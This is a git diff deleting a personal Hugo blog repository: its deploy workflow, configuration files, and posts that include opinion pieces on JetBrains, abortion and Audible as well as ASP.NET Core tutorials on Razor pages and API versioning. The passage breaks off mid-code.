diff --git a/.github/workflows/cd.yml b/.github/workflows/cd.yml deleted file mode 100644 index 1d8c8f029..000000000 --- a/.github/workflows/cd.yml +++ /dev/null @@ -1,68 +0,0 @@ -name: Deploy hugo site to gh-pages - -on: [push, pull_request] - -concurrency: - group: ${{ github.workflow }}-${{ github.ref }} - cancel-in-progress: true - -jobs: - cd: - runs-on: ubuntu-latest - permissions: - contents: write - steps: - - uses: actions/checkout@main - with: - submodules: true # Fetch Hugo themes (true OR recursive) - fetch-depth: 0 # Fetch all history for .GitInfo and .Lastmod - - - name: Config git - run: | - git config user.name '${{ github.actor }}' - git config user.email '${{ github.actor }}@users.noreply.github.com' - - - name: Install Hugo - run: sudo snap install hugo - - - name: Setup output - id: vars - run: | - rm -rf public - - echo 'commit_msg<> $GITHUB_OUTPUT - echo "$(git log -1 --pretty=%B)" >> $GITHUB_OUTPUT - echo 'EOF' >> $GITHUB_OUTPUT - # git worktree sets as root for - git worktree add public gh-pages - - - uses: actions/cache@main - with: - path: /tmp/hugo_cache - key: ${{ runner.os }}-hugomod-${{ hashFiles('**/go.sum') }} - restore-keys: | - ${{ runner.os }}-hugomod- - - - name: Build Hugo - run: hugo - - - name: Add CNAME - run: | - if [ ! -f public/CNAME ]; then - # install yq - sudo wget https://github.com/mikefarah/yq/releases/latest/download/yq_linux_amd64 -O /usr/bin/yq && sudo chmod +x /usr/bin/yq - yq '.baseUrl' config.yaml | cut -c 9- | sed 's/\/$//' > public/CNAME - fi - - - name: Deploy public dir to gh-pages branch - if: github.ref_name == github.event.repository.default_branch - env: - COMMIT_MSG: ${{ steps.vars.outputs.commit_msg }} - run: | - cd public - if [ "`git status -s`" ]; then - git add --all - commit_msg="${COMMIT_MSG//\"/\\\"}" - git commit --amend -m "deployed: $commit_msg" - fi - git push --force diff --git a/.gitignore b/.gitignore deleted file mode 100644 index cb3f05ced..000000000 --- a/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -.hugo_build.lock -/public -.DS_Store -/.obsidian diff --git a/.markdownlint.jsonc b/.markdownlint.jsonc deleted file mode 100644 index 016214f19..000000000 --- a/.markdownlint.jsonc +++ /dev/null @@ -1,4 +0,0 @@ -{ - "MD033": false, - "MD013": false -} diff --git a/.vscode/settings.json b/.vscode/settings.json deleted file mode 100644 index db0b4b844..000000000 --- a/.vscode/settings.json +++ /dev/null @@ -1,113 +0,0 @@ -{ - "editor.fontFamily": "Helvetica, Sans-serif, Consolas, 'Courier New', monospace", - "editor.fontSize": 15, - "editor.fontWeight": "normal", - "cSpell.words": [ - "acyclical", - "Arbitrum", - "ASPE", - "aspnet", - "Athletica", - "Barings", - "Behavioural", - "caisses", - "capex", - "CAPM", - "Cardano", - "carryforward", - "cashflows", - "CBCA", - "CEER", - "Classicals", - "clearers", - "Cliquet", - "Collateralized", - "colour", - "countercyclical", - "counterparties", - "counterparty", - "CSOP", - "Datagram", - "defence", - "defences", - "densification", - "derecognition", - "derecognized", - "Deriva", - "dumbass", - "Entreprises", - "ESOP", - "Ethnostate", - "Factbook", - "favourability", - "favourable", - "Favourite", - "financials", - "GAAP", - "HELOC", - "IFRS", - "incapsulate", - "Intelli", - "Interdomain", - "Interorganizatitonal", - "ISDA", - "Kahneman", - "Keynesians", - "Laffer", - "LIBOR", - "Lise", - "Lognormal", - "Lookback", - "LTCM", - "Lululemon", - "Lütke", - "LVTS", - "Macroeconomists", - "Metallgesellschaft", - "Minier", - "monopsony", - "MRPN", - "Mundell", - "neighbourhood", - "Netanyahu", - "nondurables", - "OAPEC", - "Okun's", - "overfunded", - "Payables", - "Peloton", - "Pichette", - "Poilievre", - "populaires", - "poutine", - "procyclical", - "Quantas", - "redditor", - "Registar", - "renovictions", - "Ricardian", - "Rittenhouse", - "rybbit", - "Scholes", - "securitized", - "SEDAR", - "shawarma", - "Solana", - "Solow", - "SPRAs", - "SRAS", - "subdiv", - "Swaptions", - "Teva", - "Tobin", - "Touchpad", - "unamortization", - "unfavourable", - "webdev", - "Westbank", - "whistlblowing", - "Wilfrid", - "Zooxanthellae" - ], - "editor.tabSize": 2 -} diff --git a/README.md b/README.md deleted file mode 100644 index 0e288df07..000000000 --- a/README.md +++ /dev/null @@ -1,30 +0,0 @@ -# ELL Blog - -A site I'll be writing new posts on, since Medium is centralized, slow, and doesn't allow you to export/download posts. - -This blog uses my fork of the [Anubis Theme](https://github.com/elibroftw/hugo-theme-anubis). - -If you want to start your blog, read `content/hugo-guide.md` ([Online](https://blog.elijahlopez.ca/hugo-guide#new-machine-setup)) on how to -create posts, custom pages, using images, and embedding rich content (e.g. tweets, youtube, gfycat, github gist). I haven't updated in a while, so fair warning is given. - -## Tips - -### New Machine Setup - -```bash -# replace link and dirname with your repo link and repo name -git clone --recurse-submodules -j8 https://github.com/elibroftw/blog.elijahlopez.ca.git -git config --global submodule.recurse true -# choose cloned directory -cd blog.elijahlopez.ca -``` - -In case you clone the repo without recursing the submodules (HINT: you will see "Page not found"), you can run - -```bash -git submodule update --init --recursive -``` - -### What to do Before Writing - -Make sure you are modifying the latest version of the blog. Use `git pull --rebase`. The first reason to do so, is if we are working on multiple devices, we do not want to run into some sort of merge conflict when we want to push our updates. The second reason is because the auto-deploy script can also commit updates to the theme, so we want to ensure that we aren't going to mess the remote state up. diff --git a/assets/css/custom.css b/assets/css/custom.css deleted file mode 100644 index 32fa6e94e..000000000 --- a/assets/css/custom.css +++ /dev/null @@ -1,21 +0,0 @@ -pre { - background-color: var(--pre-bg-color) !important; -} - -.equation { - filter: invert(); - width: 100%; - max-height: 30px; -} - -.equation-tall { - filter: invert(); - width: 100%; - height: 60px; -} - -@media print { - nav, .pagination-item, .utterances { - display: none; - } -} diff --git a/content/manifest.json b/content/manifest.json deleted file mode 100644 index 93183e853..000000000 --- a/content/manifest.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "name": "ELL Blog", - "start_url": "/", - "icons": [ - { - "src": "favicon.ico", - "sizes": "72x72 96x96 128x128 256x256" - }, - { - "src": "pwa-icon.png", - "sizes": "1024x1024", - "type": "image/png" - } - ], - "display": "minimal-ui", - "background_color": "#121212", - "theme_color": "#121212" -} diff --git a/content/posts/a-humble-letter-to-jetbrains.md b/content/posts/a-humble-letter-to-jetbrains.md deleted file mode 100644 index f57dda260..000000000 --- a/content/posts/a-humble-letter-to-jetbrains.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: "JetBrains Sucks" -date: 2023-11-07T21:11:40-05:00 -draft: false -tags: - - opinion - - programming -summary: "A letter to JetBrains detailing the author's decision to stop using their products due to high memory/storage usage of the Toolbox app and unresolved issues like the persistent Python Console bug." ---- - -Dear JetBrains, - -I got home today and turned on my PC. I start up a twitch stream on Firefox and open up the task manager to check if I'm going to encounter any issues as I had the other day. What I notice is 47% of my memory is being used. That's 14.9GB. I sort apps by memory and what do I find? - -![Task Manager showing JetBrains Toolbox using 400MB of memory](/images/jetbrains/toolbox_mem_usage.webp) - -So Toolbox is clearly disrespecting my PC, so of course I quit the app and disable the startup. I notice that my Music Player (Music Caster) only uses 100MB of memory, and that's a Python app. I wonder how much space the JetBrains Toolbox app takes up. - -I found out that the binary takes 100MB, but then I realize there's sibling folders, so the entire directory came to a whopping ~3GB. 2.8GB was from a cache/backup directory. What kind of files does an app manager need to backup? That's right, an IDE manager needs to backup the IDE's it has installed! Wow, I had no idea that we users need to reserve 2.8GB of our SSD's so that we won't have to re-download an IDE in case the IDE breaks? I am being facetious, the IntelliJ does not need to be backed up. - -In any case, I have IntelliJ installed for the odd case where I remember to make use of its Python analysis when I work on my Music Player, which is not an optimal code base. I feel that this one off case does not justify 5GB+ of storage space, and if I ever need to use Java, I will make VSCode work. VSCode, with all its extension bloat, still does not come to the size of the "backup" folder. - -So goodbye JetBrains. Two years after creating an issue to make the [Python Console persistent on IntelliJ](https://youtrack.jetbrains.com/issue/IDEA-285950/Add-option-to-pin-Python-Console-in-IntelliJ), the issue persists in IntelliJ but alas the author is no longer a user. - -Sincerely, - -Elijah Lopez - -Ex-JetBrains user. - -## JetBrains Bloatware Remnant - -In case people have doubts about how much bloat JetBrains' software has, here are some screenshots of folders I found of JetBrains' after uninstalling all of their software from my PC. - -![AppData/Roaming 628MB remnant](/images/jetbrains/appdata-roaming-remnant.webp) - -![AppData/Local 1.60GB remnant](/images/jetbrains/appdata-local-remnant.webp) diff --git a/content/posts/abortion-simplified.md b/content/posts/abortion-simplified.md deleted file mode 100644 index f70f749ac..000000000 --- a/content/posts/abortion-simplified.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: "Abortion Simplified" -date: 2022-06-25T18:04:08-04:00 -hidden: true -tags: - - opinion - - morality -summary: "Simplifying the abortion debate by framing it through property and privacy rights likening a fetus to an unwanted trespasser. Feeding the homeless is an arguably easier moral obligation than for women/doctors to carry a fetus to term, yet one is demonized not due to rationality, but due to upbringing. With abortion rights so to should we welcome the deprecation of mandatory child support." ---- - -After thinking about abortion for a good couple hours, I was finally able to form an almost perfect opinion. - -Hint: Think about a trespasser in your home - -There will always be haters and this is not an echo chamber for any side. However some opinions are going to be confronted more than others. -I have made made a short guide for people of different political leanings. - -- For right-leaning people who are religious and aren't open to changing their mind, start reading from _[Target Reader](#target-reader)_. -- For right-leaning people who aren't open to changing their mind, you can start reading from _[Obligations](#obligations)_. -- For right-leaning people with an open mind, start reading from _[Obligations to an Embryo/Fetus](#obligations-to-an-embryofetus)_. -- For moderates, start reading from _[Classical Liberal](#classical-liberal)_. -- For leftists, skip to _[Gripes](#gripes)_. - -{{< toc >}} - -## Target Reader - -Classical liberals, libertarian-right, property rights advocates, gun rights advocates. - -It's incredibly hard to write in a way to reach out to the religious and close minded, but I'll do my best. -By religious and close minded, I mean the people who use religious texts as evidence or proof or command to do certain actions or think certain ways -rather than thinking deeper into why the text would say certain things or if its even valid anymore. This is not a critique of religion, so I will move on. -My arguments are based on property & privacy rights as my hint strongly implies, rather than arguing the temper tantrum inducing "human life starts at conception." - -## Obligations - -There is a homeless person outside of McDonald's. What do you do? - -If you buy them food but that only helps them for one meal. Humans in a secure position eat 2-3 meals a day every day. What do you do? - -Do you have a moral obligation to help them more than paying for one meal? Why? - -If there is moral obligation to help homeless people past one meal, should that obligation be forced by the government? - -If that obligation is to be forced by the government, then what other moral obligations should be forced by the government? Should the government force the donation of organs upon death? - -Should the government force the obligation to perform free labour since you are a plumber when your neighbours sink bursts? - -I propose three questions. - -1. When does a human have a moral obligation (to act in some manner)? -2. When should a government direct an obligation? -3. Should directed obligations always be rooted in morality? - -## Obligations to an Embryo/Fetus? - -Well for abortion, the woman and doctor don't have a moral obligation. My proof is by contradiction. Buying a homeless person -a meal is much easier than carrying a growing thing inside your body for even one month. Imagine if men were not allowed to ejaculate -unless they were having sexual intercourse with their married spouse. If you do in fact believe in that nonsense, you should -read up on what Human Rights are because you will never understand the other side until you can understand why religious beliefs, if -codified, would be against human rights (which are universal and not legislative). - -As for when the government should dictate an obligation is to ensure the well being of the population without infringing the rights of the minority. -In self-defence, the minority are the criminals. When talking about animal cruelty, pets are the minority. Therefore, being human is not a consideration to having rights. -Does a fetus have rights if it was not a human? Interesting question. Yes, but those rights are not supreme and are the same (or similar) to an unwanted person in another's home. -If the removal of such a person leads to their death, so be it. A person should not have to wait 9 months for the removal of another. -Foreseeing a rebuttal, my opinion on squatting is irrelevant since squatters don't have the same rights when they squat in a primary residence. - -If someone was in your primary residence, they would be trespassing. A fetus is trespassing the moment the -woman decides it was unwanted just like a heckler at a comedy show. Consent, privilege, and permission are all revokable. The intruder of your home -would be detained and if that resulted in their death because they are sensitive to any touch, that would be on them and not the police officers that -removed them. This world would simply not function if the people in it were incapable of handling any obstacles. Likewise in the case of abortion, -abortion is not the act of killing a fetus, but it is the act of moving them outside of property. It is that move that results in the death of the fetus, -but the rights of the property (body) simply triumph the rights of anything declaring that space to be theirs. The womb is a woman's property and is inside of the -woman itself. If abortion is illegal, the removal of a womb containing the fetus would be a loophole. - -## Classical Liberal - -If you are a person who values gun and property rights, then the following scenario is much easier to compare to the abortion one. -I consider myself a classical liberal, so I created this scenario to put an end to my fence sitting. - -Say you invited a person to your home and now you want them to leave. They refuse, saying that you invited them here. The government says that -no one, not you, not another human, nor the government, can forcibly remove the person. -Do you accept the government's ruling or do you bring out the handgun your government has also banned in the country? -Suppose you are a law abiding citizen and don't have a gun. -Do you try to forcibly remove the trespasser which might result in your death or do you wait out 9 months? - -Wouldn't it be much better if you could just call someone to do it for you without the fear of legislative punishment? - -## Gripes - -- Other than that, I consider embryos to be property and when the tech develops: - - I'd prefer fetuses to be grown in an advanced incubator if it is possible to abort them without killing them immediately - - I don't think embryos should be brought to term in a lab unless both parents agree to it - - Not sure if it needs to be said, but an embryo does not have organs vs. a fetus that might have organs -- The only reason you shouldn't be able to abort a fetus is if you just learned its sex unless its life/death/financial situation - - Root reasoning is that sex based abortions could cause an imbalance of sex ratios in a country, which would have drastic effects on the lives of both sexes (e.g. India) - - This bias issue should be corrected in the education system as well as in immigration - - Abortion itself should never be banned, however sex reveals should be banned only if abortions due to sex reveal starts affecting the sex ratio in the country - - If the sex-ratio is not changing much, the slight discrimination wouldn't be having severe consequences (e.g. race preferences in dating does not motivate people to behave differently, or it at least isn't a moral/legal issue) -- Child support should not be mandatory. There is no reason to force another person to financially support their sexual partner because the child is biologically theirs - - One of the reasons of abortions is financial, so there shouldn't be a financial incentive to carry the fetus to term. It weakly implies abortion is wrong when 99.999% of abortions are not immoral - - The child support incentive might exist to combat declining birth rates in Canada, but there are many reasons Canadians aren't having kids to replace themselves diff --git a/content/posts/amazon-audible-is-unethical.md b/content/posts/amazon-audible-is-unethical.md deleted file mode 100644 index c26372ecc..000000000 --- a/content/posts/amazon-audible-is-unethical.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: "Amazon Audible Is Unethical" -date: 2023-07-25T22:54:36-04:00 -draft: false -tags: - - opinion - - ethics -summary: "Argues Amazon Audible's subscription practices are unethical due to a misleading cancellation process and lack of auto-cancellation for inactive users, advocating for simpler opt-outs and regulation." ---- - -Today I realized I was being charged US$15/month for a whole year by Amazon Audible. The reason? A free trial cancellation that did not go through fully. -You see, to cancel amazon audible, you need to go to your account, then the membership, then click cancel. Then you have to give a reason for cancelling. -Then you are taken to a page that simply says "We'd love to make Audible work for you" and is blank. Since there is no cancel button, I simply ctrl + w'd and left. - -For months I would get an email from Audible saying I got 1 free credit and last month I got an email telling me that if I don't use my credits I would lose them forever. -I had no clue I was paying for these credits, and so what did I do? I spent many of them on books I never listened to after "purchasing." - -So the first thing I did was download my statements and disputed the charge in BMO. It doesn't help that BMO's webapp and mobile app do not work for me on mobile. -To log into BMO, I can only do it on my laptop. After disputing, I then chatted on Amazon support. It took 10 minutes just to find the damn chat because there's audible.ca and audible.com and -my free trial for audible.ca cancelled properly but it was audible.com that didn't go through. - -After over an hour spent with Amazon support, with me using expletives of course, I left with an anxiety attack and only a refund for one month. All because I was pressured into using the credits last month because apparently if you pay for the right to buy one audio book, you are actually buying the right for only some time. - -The subscription model itself is great, but if users are paying for it without using the service or product, then an ethical trillion dollar corporation should do the right thing and cancel the subscription on behalf of the user. Or at least warn the user that their subscription will be cancelled since there is no activity. Furthermore, if a user does want to cancel manually, the first action of cancelling should cancel the subscription and only then should the corporation ask for reasons why. If you want to show users promotions, then make the cancel button an accordion or -a modal. With a modal, you can even implement the logic without javascript, so there's no excuse to make the user press the cancel button 3 times just to finally be free of the subscription. - -I hope BMO will fight these ridiculous and unnecessary charges and if not I will take Amazon to small claims court, because to be honest; I am down $200, I spent an hour with support, my ankle was aching for an hour, and my mouth salivating as if I was about to faint. I am **privileged** that I can afford to lose thousands of dollars without being homeless, but if this happened to other people there would be sever consequences. - -I hope that governments actually start protecting their residents by regulating subscription business models so that users can cancel with a single click and a corporation that fails to abide by these rules should be liable for 40% of their revenue, since a [survey](https://abc11.com/subscription-not-using-still-paying-didnt-cancel-after-free-trial/12224628/) found that 42% of respondents were paying for subscriptions they don't use. Furthermore, corporations should be forced to cancel subscriptions of users who don't user services for two billing cycles. diff --git a/content/posts/aspnet-add-html-to-web-api.md b/content/posts/aspnet-add-html-to-web-api.md deleted file mode 100644 index db4a1ffd8..000000000 --- a/content/posts/aspnet-add-html-to-web-api.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: "ASP.NET Core Add HTML to Web Api" -date: 2023-07-15T12:45:48-04:00 -draft: false -tags: - - programming - - tutorial - - c-sharp - - asp.net - - html - - webdev -summary: "Learn how to integrate Razor Pages into your ASP.NET Core Web API project to serve dynamic HTML content. This tutorial covers necessary configurations in Program.cs and demonstrates creating a basic HTML page with Razor syntax." ---- - -Suppose you wanted to add html to your asp.net web api project, how would you go about it? - -Sure you may just [write the HTML](https://stackoverflow.com/questions/26822277/return-html-from-asp-net-web-api) in the controller, but that's not good enough if you want to return an actual webpage. - -We need to integrate Razor pages to our application. In `Program.cs`, - -```cs -builder.Services.AddRazorPages(); // add this -builder.Services.AddHttpContextAccessor(); // add this -var app = builder.Build(); - -app.MapControllers(); -app.MapRazorPages(); // add this, it doesn't matter if it is before or after MapControllers -app.Run(); -``` - -Suppose we want to serve a page for website.com/about - -In your project folder, create `Pages/About.cshtml` - -```cshtml -@page -@inject Microsoft.AspNetCore.Http.IHttpContextAccessor HttpContextAccessor - - - - -This pages url -

a get request query for field name: @HttpContextAccessor.HttpContext.Request.Query["name"]

-``` - -### How to escape @ in Razor Pages (cshtml) - -To escape the @ in Razor pages, use `@Html.Raw("@")`. diff --git a/content/posts/aspnet-add-versioning.md b/content/posts/aspnet-add-versioning.md deleted file mode 100644 index e8818f0da..000000000 --- a/content/posts/aspnet-add-versioning.md +++ /dev/null @@ -1,571 +0,0 @@ ---- -title: "ASP.NET Core Add Versioning to Endpoints" -date: 2024-03-07T02:05:53-05:00 -draft: false -tags: - - programming - - tutorial - - c-sharp - - asp.net -summary: "A tutorial on adding API versioning to ASP.NET Core endpoints for .NET 8 and .NET 9, covering setup with OpenAPI/Scalar and Swagger, and providing code examples for implementation." ---- - -### Introduction - -Applicable .NET versions: .NET 9, .NET 8. - -- .NET 9 uses OpenAPI and Scaler (Swagger replacement) and requires hardcoding the versions in one file. I have provided a list of packages I installed in my project in case your project is missing a necessary package. -- .NET 8 does not need to hardcode the applicable versions, but does use Swagger. - -This tutorial will save you ~5 hours. I don't know when I started adding API version support to my ASP.NET project, but I can tell you that the current documentation is atrocious if you strive for perfection like I do. - -There are two main ways to do API versioning in my eyes. The first way, which is what I thought I would've added in the future, is to be one of those companies with apis like `/v2/my-api` but then I found out about header APIs where the client can select the version by using a header. This saves a lot of developing time because all of my endpoints were `/name` not `/v1/name` and there were already released/production clients which were calling them without a version specified in the header. - -### NuGet Packages - -In .NET 9, I needed the following Asp.Versioning packages - -- Asp.Versioning.Http -- Asp.Versioning.Http.Client -- Asp.Versioning.Mvc.ApiExplorer -- Scalar.AspNetCore - -You can either use VSCode's C# Dev Kit, Visual Studio's Nuget Packages UI, or the dotnet CLI to install these packages. For example, `dotnet add package ` - -If you're using Visual Studio, you could also run `nuget install Asp.Versioning.Mvc.ApiExplorer` - -## .NET 9 Versioning - -In .NET 9, we no longer need a ProgramAuxiliary.cs. - -
OpenApi.Extensions.cs - -```cs -using Asp.Versioning; -using Scalar.AspNetCore; - -namespace SttApi; - -public static partial class Extensions { - public static IApplicationBuilder UseDefaultOpenApi(this WebApplication app) { - var configuration = app.Configuration; - var builder = app.MapOpenApi().CacheOutput(); - var scalerBuilder = app.MapScalarApiReference(options => { - // Disable default fonts to avoid download unnecessary fonts - options.DefaultFonts = false; - options.Title = "Split The Tank API Reference"; - options.EnabledClients = [ScalarClient.Fetch, ScalarClient.HttpClient, ScalarClient.Nsurlsession, ScalarClient.OkHttp]; - // TODO: add default berar - // TODO: order actions by - // options.OrderActionsBy(apiDesc => { - // var priority = apiDesc.ActionDescriptor.RouteValues["controller"]!.Contains("Debug") ? "_" : ""; - // return $"{priority}{apiDesc.ActionDescriptor.RouteValues["controller"]}_{apiDesc.HttpMethod}"; - // }); - // .WithHttpBearerAuthentication(bearer => bearer.Token = ""); - }); - if (app.Environment.IsDevelopment()) { - app.MapGet("/", () => Results.Redirect("/scalar/v1")).ExcludeFromDescription(); - } else { - // Return 404 - builder.RequireAuthorization("ApiDeveloperPolicy"); - scalerBuilder.RequireAuthorization ("ApiDeveloperPolicy"); - } - return app; - } - - public static IHostApplicationBuilder AddDefaultOpenApi( - this IHostApplicationBuilder builder, - IApiVersioningBuilder? apiVersioning = default) { - var openApi = builder.Configuration.GetSection("OpenApi"); - var identitySection = builder.Configuration.GetSection("Identity"); - - var scopes = identitySection.Exists() - ? identitySection.GetRequiredSection("Scopes").GetChildren().ToDictionary(p => p.Key, p => p.Value) - : new Dictionary(); - - if (apiVersioning is not null) { - // the default format will just be ApiVersion.ToString(); for example, 1.0. - // this will format the version as "'v'major[.minor][-status]" - var versioned = apiVersioning.AddApiExplorer(options => options.GroupNameFormat = "'v'VVV"); - // Search code base for [ApiVersion(#.0)] - string[] versions = ["v1", "v2"]; - foreach (var description in versions) { - builder.Services.AddOpenApi(description, options => { - if (openApi.Exists()) { - options.ApplyApiVersionInfo(openApi.GetRequiredValue("Document:Title"), openApi.GetRequiredValue("Document:Description")); - } - options.ApplyAuthorizationChecks([.. scopes.Keys]); - options.ApplySecuritySchemeDefinitions(); - options.ApplyOperationDeprecatedStatus(); - options.ApplyApiVersionDescription(); - options.ApplySchemaNullableFalse(); - // Clear out the default servers so we can fallback to - // whatever ports have been allocated for the service by Aspire - options.AddDocumentTransformer((document, context, cancellationToken) => { - document.Servers = []; - return Task.CompletedTask; - }); - }); - } - } - - return builder; - } -} -``` - -
- -This next file also includes Bearer Authentication information which is used by Scalar. - -
OpenApiOptionsExtensions.cs - -```cs -using System.Text; -using Asp.Versioning.ApiExplorer; -using Microsoft.AspNetCore.Authorization; -using Microsoft.AspNetCore.Mvc.ApiExplorer; -using Microsoft.AspNetCore.OpenApi; -using Microsoft.Extensions.Configuration; -using Microsoft.Extensions.DependencyInjection; -using Microsoft.Extensions.Primitives; -using Microsoft.OpenApi.Any; -using Microsoft.OpenApi.Models; - -namespace SttApi; - -internal static class OpenApiOptionsExtensions -{ - public static OpenApiOptions ApplyApiVersionInfo(this OpenApiOptions options, string title, string description) - { - options.AddDocumentTransformer((document, context, cancellationToken) => - { - var versionedDescriptionProvider = context.ApplicationServices.GetService(); - var apiDescription = versionedDescriptionProvider?.ApiVersionDescriptions - .SingleOrDefault(description => description.GroupName == context.DocumentName); - if (apiDescription is null) - { - return Task.CompletedTask; - } - document.Info.Version = apiDescription.ApiVersion.ToString(); - document.Info.Title = title; - document.Info.Description = BuildDescription(apiDescription, description); - return Task.CompletedTask; - }); - return options; - } - - private static string BuildDescription(ApiVersionDescription api, string description) - { - var text = new StringBuilder(description); - - if (api.IsDeprecated) - { - if (text.Length > 0) - { - if (text[^1] != '.') - { - text.Append('.'); - } - - text.Append(' '); - } - - text.Append("This API version has been deprecated."); - } - - if (api.SunsetPolicy is { } policy) - { - if (policy.Date is { } when) - { - if (text.Length > 0) - { - text.Append(' '); - } - - text.Append("The API will be sunset on ") - .Append(when.Date.ToShortDateString()) - .Append('.'); - } - - if (policy.HasLinks) - { - text.AppendLine(); - - var rendered = false; - - foreach (var link in policy.Links.Where(l => l.Type == "text/html")) - { - if (!rendered) - { - text.Append("

Links

"); - } - } - } - - return text.ToString(); - } - - public static OpenApiOptions ApplySecuritySchemeDefinitions(this OpenApiOptions options) - { - options.AddDocumentTransformer(); - return options; - } - - public static OpenApiOptions ApplyAuthorizationChecks(this OpenApiOptions options, string[] scopes) - { - options.AddOperationTransformer((operation, context, cancellationToken) => - { - var metadata = context.Description.ActionDescriptor.EndpointMetadata; - - if (!metadata.OfType().Any()) - { - return Task.CompletedTask; - } - - operation.Responses.TryAdd("401", new OpenApiResponse { Description = "Unauthorized" }); - operation.Responses.TryAdd("403", new OpenApiResponse { Description = "Forbidden" }); - - var oAuthScheme = new OpenApiSecurityScheme - { - Reference = new OpenApiReference { Type = ReferenceType.SecurityScheme, Id = "oauth2" } - }; - - operation.Security = new List - { - new() - { - [oAuthScheme] = scopes - } - }; - - return Task.CompletedTask; - }); - return options; - } - - public static OpenApiOptions ApplyOperationDeprecatedStatus(this OpenApiOptions options) - { - options.AddOperationTransformer((operation, context, cancellationToken) => - { - var apiDescription = context.Description; - operation.Deprecated |= apiDescription.IsDeprecated(); - return Task.CompletedTask; - }); - return options; - } - - public static OpenApiOptions ApplyApiVersionDescription(this OpenApiOptions options) - { - options.AddOperationTransformer((operation, context, cancellationToken) => - { - // Find parameter named "api-version" and add a description to it - var apiVersionParameter = operation.Parameters.FirstOrDefault(p => p.Name == "api-version"); - if (apiVersionParameter is not null) { - apiVersionParameter.Description = "The API version, in the format 'major.minor'."; - var versionNumber = context.DocumentName.TrimStart('v'); - if (int.TryParse(versionNumber, out var version)) { - apiVersionParameter.Schema.Example = new OpenApiString($"{version}.0"); - } else { - throw new ArgumentException("got invalid document name {context.DocumentName}. Expected format v#"); - } - } - return Task.CompletedTask; - }); - return options; - } - - // This extension method adds a schema transformer that sets "nullable" to false for all optional properties. - public static OpenApiOptions ApplySchemaNullableFalse(this OpenApiOptions options) - { - options.AddSchemaTransformer((schema, context, cancellationToken) => - { - if (schema.Properties is not null) - { - foreach (var property in schema.Properties) - { - if (schema.Required?.Contains(property.Key) != true) - { - property.Value.Nullable = false; - } - } - } - - return Task.CompletedTask; - }); - return options; - } - -#pragma warning disable 9113 - private class SecuritySchemeDefinitionsTransformer(IConfiguration configuration) : IOpenApiDocumentTransformer { -#pragma warning restore 9113 - public Task TransformAsync(OpenApiDocument document, OpenApiDocumentTransformerContext context, CancellationToken cancellationToken) { - document.Components ??= new(); - document.Components.SecuritySchemes.Add("Bearer", new OpenApiSecurityScheme { - In = ParameterLocation.Header, - Description = "Please enter a valid token", - Name = "Authorization", - Type = SecuritySchemeType.Http, - BearerFormat = "JWT", - Scheme = "Bearer" - }); - return Task.CompletedTask; - } - } -} -``` - -
- -
Program.cs - -```cs - var apiVersioning = builder.Services.AddApiVersioning(options => { - options.DefaultApiVersion = new ApiVersion(1, 0); - options.AssumeDefaultVersionWhenUnspecified = true; - options.ApiVersionReader = new HeaderApiVersionReader("x-ms-version"); - options.ReportApiVersions = true; - options.UnsupportedApiVersionStatusCode = 501; - }); - builder.AddDefaultOpenApi(apiVersioning); - builder.Services.AddSingleton(); - builder.Services.AddAuthorizationBuilder() - .AddPolicy("ApiDeveloperPolicy", policy => policy.RequireRole(["developer"]) - .AddRequirements(new ProtectedEndpoint404())); - // after app.MapControllers().WithStaticAssets(); - app.UseDefaultOpenApi(); -``` - -
- -
ProgramAuxiliary - -```cs -public class Show404AuthorizationMiddlewareResultHandler : IAuthorizationMiddlewareResultHandler { - private readonly AuthorizationMiddlewareResultHandler defaultHandler = new(); - - public async Task HandleAsync( - RequestDelegate next, - HttpContext context, - AuthorizationPolicy policy, - PolicyAuthorizationResult authorizeResult) { - if (!authorizeResult.Succeeded && policy.Requirements.Any(p => p is ProtectedEndpoint404)) { - // Return a 404 to make it appear as if the resource doesn't exist. - context.Response.StatusCode = StatusCodes.Status404NotFound; - return; - } - await defaultHandler.HandleAsync(next, context, policy, authorizeResult); - } -} - -public class ProtectedEndpoint404 : IAuthorizationRequirement { } -``` - -
- -
csproj Partial - Packages - -```xml - - - - - - - - - - - runtime; build; native; contentfiles; analyzers; buildtransitive - all - - - - - - - - - - - - - - -``` - -
- -## .NET 8 Versioning - -### Program.cs - -Note that by default, ASP.NET will set each route as version 1 unless otherwise defined. Also note that if a client does not specify a version, the version 1 route will be used by default. - -```cs -builder.Services.AddApiVersioning(options => { - options.DefaultApiVersion = new ApiVersion(1, 0); - options.AssumeDefaultVersionWhenUnspecified = true; - options.ApiVersionReader = new HeaderApiVersionReader("x-ms-version"); - options.ReportApiVersions = true; - options.UnsupportedApiVersionStatusCode = 501; -}) -// format the version as "'v'major[.minor][-status]" -.AddApiExplorer(options => { - options.GroupNameFormat = "'v'VVV"; -}); -``` - -### ProgramAuxiliary.cs - -The following code allows the Swagger UI to work with the versioning. - -Some of this code might be unused, this is because in my own `ProgramAuxiliary.cs`, I also have the code to enable [kebab case routes](/posts/aspnet-kebab-case-routes/). - -```cs -// ProgramAuxiliary.cs is a supplementary to the startup code in Program.cs where this file contains some boilerplate to provide abstraction -using Asp.Versioning.ApiExplorer; -using Microsoft.AspNetCore.Mvc.ApiExplorer; -using Microsoft.AspNetCore.Mvc.ModelBinding; -using Microsoft.Extensions.Options; -using Microsoft.OpenApi.Models; -using Swashbuckle.AspNetCore.SwaggerGen; -using System.Text.Json; -using System.Text.RegularExpressions; - -namespace SttApi; - -// all I know is that this is related to making swagger work with different versions of the API -public class ConfigureSwaggerOptions(IApiVersionDescriptionProvider provider) : IConfigureOptions { - readonly IApiVersionDescriptionProvider _provider = provider; - readonly string _apiName = "Split The Tank"; - - public void Configure(SwaggerGenOptions options) { - foreach (var description in _provider.ApiVersionDescriptions) { - options.SwaggerDoc( - description.GroupName, - new OpenApiInfo() { - Title = $"{_apiName} API {description.ApiVersion}", - Version = description.ApiVersion.ToString(), - }); - } - } -} - -// All I know is that this bunch of code is related to making sure the API version is set in the header by default -public class SwaggerDefaultValues : IOperationFilter { - /// - public void Apply(OpenApiOperation operation, OperationFilterContext context) { - var apiDescription = context.ApiDescription; - - operation.Deprecated |= apiDescription.IsDeprecated(); - - // REF: https://github.com/domaindrivendev/Swashbuckle.AspNetCore/issues/1752#issue-663991077 - foreach (var responseType in context.ApiDescription.SupportedResponseTypes) { - // REF: 